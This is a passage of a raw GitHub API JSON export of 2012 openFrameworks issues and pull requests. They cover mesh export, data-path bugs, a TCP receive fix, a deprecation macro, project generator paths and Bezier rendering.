OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"cf9ec647fbc78faae05cb2d11598f79c"'), ('date', 'Tue, 29 May 2012 19:27:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-30T19:43:55Z","body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1217,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","assignee":null,"title":"projectGenerator update doesn't respect existing project settings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T21:03:44Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269431,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-02T10:19:07Z","body":"Since I don't want to derail #484 further, this issue deals with the implementation of a deprecation mechanism.\r\nBased on [this](http://stackoverflow.com/questions/295120/c-mark-as-deprecated), I made an OFDEPRECATED preproc macro.\r\n\r\nQUESTION: How do I correctly #ifdef for MacOS/XCode4/llvm?\r\n\r\nCould people test this on different platforms? On linux this works. \r\n\r\n\t\ttestApp.h:\r\n\r\n\t\t#pragma once\r\n\r\n\t\t#ifdef __GNUC__\r\n\t\t// maybe __clang__ for checking against llvm/xcode4?\r\n\t\t#define OFDEPRECATED(message, func) func __attribute__ ((deprecated(message)))\r\n\t\t#elif defined(_MSC_VER)\r\n\t\t#define OFDEPRECATED(message, func) __declspec(deprecated(message)) func\r\n\t\t#else\r\n\t\t#pragma message(\"WARNING: You need to implement DEPRECATED for this compiler\")\r\n\t\t#define OFDEPRECATED(message, func) func\r\n\t\t#endif\r\n\r\n\t\tand \r\n\r\n\t\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\r\n\t\t\t\tOFDEPRECATED(\"This is an old function, don't use!\", void deprecatedFunction(void));\r\n\t\t\t\tOFDEPRECATED(\"Obsolete type, use T2!\", typedef int T1);\r\n\t\t\t\ttypedef int T2;\r\n\t\t\t\tOFDEPRECATED(\"This is an old variable, don't use!\", int oldvar3);\r\n\t\t\t\t//This breaks a bit cause it's used in the constructor of testApp, so always triggers.\r\n\r\n\t\t};\r\n\t\tOFDEPRECATED(\"old class!\", class oldClass {\r\n\t\t\tpublic:\r\n\t\t\t\toldClass();\r\n\t\t\t\tvirtual ~oldClass();\r\n\t\t});\r\n\r\n\t\ttestApp.cpp:\r\n\r\n\t\tvoid testApp::setup(){\r\n\t\t\tOFDEPRECATED(\"old string. Don't use\", string oldstring);\r\n\t\t\t// Uncomment these to trigger deprecation warnings\r\n\t\t//\tdeprecatedFunction();\r\n\t\t//\tT1 t1object = 5;\r\n\t\t//\toldstring = \"bla\";\r\n\t\t//\toldvar3=5;\r\n\t\t//\toldClass bla;\r\n\t\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1216","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1216,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1216","assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"Implement deprecation mechanism","labels":[],"closed_at":null,"created_at":"2012-04-24T21:03:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269429,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-30T19:43:14Z","body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1215,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","assignee":null,"title":"projectGenerator sets incorrect path in Project.xcconfig","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-04-24T20:59:57Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4269359,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-22T23:56:33Z","body":"i'm teaching a workshop right now and i feel like it's ridiculous that i need to explain pointers just to access video :)\r\n\r\nlet's add this!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1202","comments":3,"milestone":null,"number":1202,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1202","assignee":null,"title":"ofVideoPlayer etc needs ofColor access","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-22T18:42:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4231092,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T17:34:24Z","body":"DO NOT PULL YET!\r\n\r\nHey all\r\n\r\nHere's the 'off-axis camera' setup we worked on at ScreenLab last weekend.\r\nIt allows you to:\r\n\r\n* Set lens offset on a camera\r\n* Calculate the camera parameters based on a 'view portal' defined by 3 points (top left, bottom left, bottom right)\r\n\r\nCurrently the changes involve editing ofBaseRenderer (and therefore all other renderers) to support lensOffset parameter (default 0,0). We could remove this since ofCamera doesn't actually use ofSetupScreenPerspective\r\n\r\nSo let's have a quick chat about what needs chaning to make this core friendly and then probably pull after 0071 release?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1201","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1201,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1201","assignee":null,"title":"Feature provocation pull request: ofCamera lens offset","labels":[],"closed_at":null,"created_at":"2012-04-22T15:55:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4230131,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1201.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1201","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1201.patch"}},{"updated_at":"2012-05-14T01:22:17Z","body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","comments":8,"milestone":null,"number":1190,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","assignee":null,"title":"Bezier Shaders & Vector openGL rendering","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-20T09:23:00Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4207350,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:41:20Z","body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1189,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"ofSetCurveResolution + ofBezierVertex bug","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-20T08:51:51Z","state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","id":1662136,"avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4206982,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:10:23Z","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","comments":2,"milestone":null,"number":1186,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","assignee":null,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-18T15:08:32Z","state":"open","user":{"url":"https://api.github.com/users/neilmendoza","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","login":"neilmendoza","id":818571,"avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4174070,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:44:27Z","body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenGLES2 not working","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-16T11:19:36Z","state":"open","user":{"url":"https://api.github.com/users/erinnovations","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","login":"erinnovations","id":253455,"avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4132608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T13:45:55Z","body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","comments":0,"milestone":null,"number":1175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","assignee":null,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-14T13:45:42Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4117762,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:39:22Z","body":"one returns the result (dot) the other performs in place (cross), i.e. overrides the contents\r\nThe two definitions are inconsistent\r\npropose rename `ofVec3f::dot` to become `ofVec3f::getDotted` in line with `ofVec3f::getCrossed`","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1174","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1174","assignee":null,"title":"bug : inconsistent API for ofVec3f::dot and 